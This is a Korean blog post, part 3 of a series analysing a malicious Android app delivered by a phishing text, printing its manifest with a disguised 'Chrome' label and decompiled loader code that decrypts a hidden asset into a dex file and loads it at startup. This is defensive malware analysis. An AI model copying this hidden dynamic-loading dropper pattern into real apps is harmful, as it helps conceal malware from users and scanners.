티스토리 뷰

728x90
반응형

1편에서는 간단하게 URL 링크에 접속하게 되면 어떤 일이 일어났는지 확인해보았구요

https://domdom.tistory.com/615

 

[문자 피싱 악성 URL 분석 일지] http://qkyho.aptmh.com 1편

어느 날 지인 중에서 악성 URL을 받았다고 아래와 같이 연락이 왔어요! 덜덜.. "[Web발신] 운송장번호(5919*********19): 물품지연 확인하시기바랍니다. http://qkyho[.]aptmh[.]com" 대체 저 URL에 접속하게 되면

domdom.tistory.com

2편에서는 앱을 실제로 실행하게 되었을 때 어떤 공격을 당하게 되는지 대략적으로 알아보았습니다.

https://domdom.tistory.com/617

 

[문자 피싱 악성 URL 분석 일지] http://qkyho.aptmh.com 2편

이번 편에서는 1편에서 다운받았던 chrome.apk 파일의 내용에 대해서 분석해볼거에요! https://domdom.tistory.com/615 [문자 피싱 악성 URL 분석 일지] http://qkyho.aptmh.com 1편 어느 날 지인 중에서 악성 URL을 받

domdom.tistory.com

3편부터는 소스코드를 상세하게 분석해볼 예정인데요. 소스코드가 길어질수록 4편, 5편까지도 나올 것 같습니닷!

시간이 날 때마다 차근차근 분석해보려고 합니다~

악성 앱 분석은 처음이다보니 많은 양해부탁드립니다~ ㅎㅎ

 

우선 안드로이드 앱 분석은 AndroidManifest.xml 파일부터 보아야 하는데요.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="4" android:versionName="417" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="dj.dyen.mk.cynisr" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="27"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    ...길어서 생략...
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <application android:label="Сhгоmе" android:icon="@drawable/ic_launcher" android:name="gz4j4q4.ImApplication" android:extractNativeLibs="true">
        <activity android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen" android:name="gz4j4q4.JsActivity" android:exported="true" android:excludeFromRecents="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        ...길어서 생략...
    </application>
</manifest>

위와 같은 구조로 이루어져있습니다. 3편에서는 안드로이드 앱의 시작점이라고 볼 수 있는 gz4j4q4.ImApplication 클래스부터 분석해볼 예정인데요.

 

코드는 무척이나 간단하게 아래와 같습니다.

package gz4j4q4;

import android.app.Application;
import n.wo;

public class ImApplication extends Application {
    public static Object a; // loaded static dex method
    public Class b; // loaded dex class

    public ImApplication() {
        // libdsaweq.so 동적 라이브러리 파일을 로드
        System.loadLibrary("dsaweq");
    }

    private void a(Object obj) {
        // wo.ls(1) => com.Loader
        // obj = dalvik.system.DexClassLoader[DexPathList[[zip file "/data/user/0/dj.dyen.mk.cynisr/files/b"],nativeLibraryDirectories=[/system/lib64, /system/vendor/lib64]]]
        // wo.kw => loadClass()
        Class cls = (Class) wo.kw(wo.ls(1), obj, false, 0L, "", true, 2, false, 1);
        this.b = cls;
        // wo.iz = CallStaticObjectMethod()
        a = wo.iz(cls);
    }

    private void b(String str, Object obj) { // String str = "mxsfyiw"
        String be = wo.be(this, 1, "", true); // getAbsolutePath()
        // be = "/data/user/0/dj.dyen.mk.cynisr/files"
        String om = wo.om(be, "b"); // string concat : be+/"+"b"
        // om = "/data/user/0/dj.dyen.mk.cynisr/files/b"
        // obj = 암호화 푼 asset 파일
        e(om, obj);
        a(f(0, str, be, om));
    }

    private void c(String str) { // String str = "mxsfyiw"
        // wo.pi(this, str, 1, false, "") => getAssets("./mxsfyiw/")
        b(str, wo.pi(this, str, 1, false, ""));
    }

    private void d() {
        c("mxsfyiw");
    }

    private static Object e(String str, Object obj) {
        // str = "/data/user/0/dj.dyen.mk.cynisr/files/b"
        // obj = 암호화 푼 asset 파일
        return wo.or(str, obj, 0); // str 경로에 암호화 푼 asset 파일 내용 fwrite()
    }

    private Object f(int i, String str, String str2, String str3) {
        // dalvik.system.DexClassLoader("/data/user/0/dj.dyen.mk.cynisr/files/b")
        return wo.mz(str3, wo.om(str2, str).toString(), 1, false);
    }

    @Override // android.app.Application
    public void onCreate() {
        super.onCreate();
        try {
            d();
        } catch (Throwable unused) {
        }
    }
}

주석으로 간략하게 분석한 내용을 작성해봤는데요.

 

최상단에 import n.wo 부분은 so 동적 라이브러리로부터 Native 함수들을 불러오는 코드가 나열되어 있었습니다.

package n;

public class wo {
    public static native String be(Object obj, int i, String str, boolean z);

    public static native void he(Object obj, Object obj2);

    public static native Object iz(Class cls);

    public static native void kg(Object obj, Object obj2, Object obj3, Object obj4, String str, int i);

    public static native Object kw(String str, Object obj, boolean z, long j, String str2, boolean z2, int i, boolean z3, int i2);

    public static native void kwe(Object obj, Object obj2, int i, String str);

    public static native String ls(int i);

    public static native Object my(String str, String str2, int i, String str3, boolean z, int i2);

    public static native Object mz(String str, String str2, int i, boolean z);

    public static native void ob(Object obj, Object obj2);

    public static native String om(String str, String str2);

    public static native void op(Object obj, Object obj2, Object obj3, boolean z, int i, String str, int i2, String str2, boolean z2, int i3, boolean z3, int i4, String str3, boolean z4, int i5, long j, int i6, String str4, int i7, boolean z5);

    public static native Object or(String str, Object obj, int i);

    public static native Object pe(Object obj, int i);

    public static native Object pi(Object obj, Object obj2, int i, boolean z, String str);
}
반응형

요약하자면 gz4j4q4.ImApplication 클래스에서는 아래와 같은 동작을 수행하고 있는 것을 알 수 있습니다.

1. assets/mxsfyiw/al8oh3 파일을 복호화해서 /data/user/0/dj.dyen.mk.cynisr/files/ 경로에 b 라는 파일 이름으로 파일 씀

2. dalvik.system.DexClassLoader로 b 라는 이름의 dex 파일을 로드

3. 로드한 dex 파일에서 com.Loader 클래스를 로드

4. com.Loader 클래스에 정의되어 있는 초기화 로직 수행

 

일단 3편에서는 여기까지 정리하도록 하겠습니다~

4편에서는 새롭게 로드된 dex 파일과 초기화 로직에서 어떤 동작들을 하게 되는지 살펴보도록 하겠습니다!

 

- 4편에서 계속 -

아래는 4편에서 분석하게 될 새롭게 로드된 dex 파일의 com.Loader 클래스인데요. 살짝 봤는데, 제가 초기에 예상했던 것보다 더 다양한 기능이 있는 것 같습니다~

(시간 날 때마다 분석해보고 있지만, 바쁘면 못해서 얼마가 걸릴지 알 수 없는....)

 

4편이 나왔어요~

https://domdom.tistory.com/620

 

[문자 피싱 악성 URL 분석 일지] http://qkyho.aptmh.com 4편

https://domdom.tistory.com/619 [문자 피싱 악성 URL 분석 일지] http://qkyho.aptmh.com 3편 1편에서는 간단하게 URL 링크에 접속하게 되면 어떤 일이 일어났는지 확인해보았구요 https://domdom.tistory.com/615 [문자 피

domdom.tistory.com

 

728x90
반응형
댓글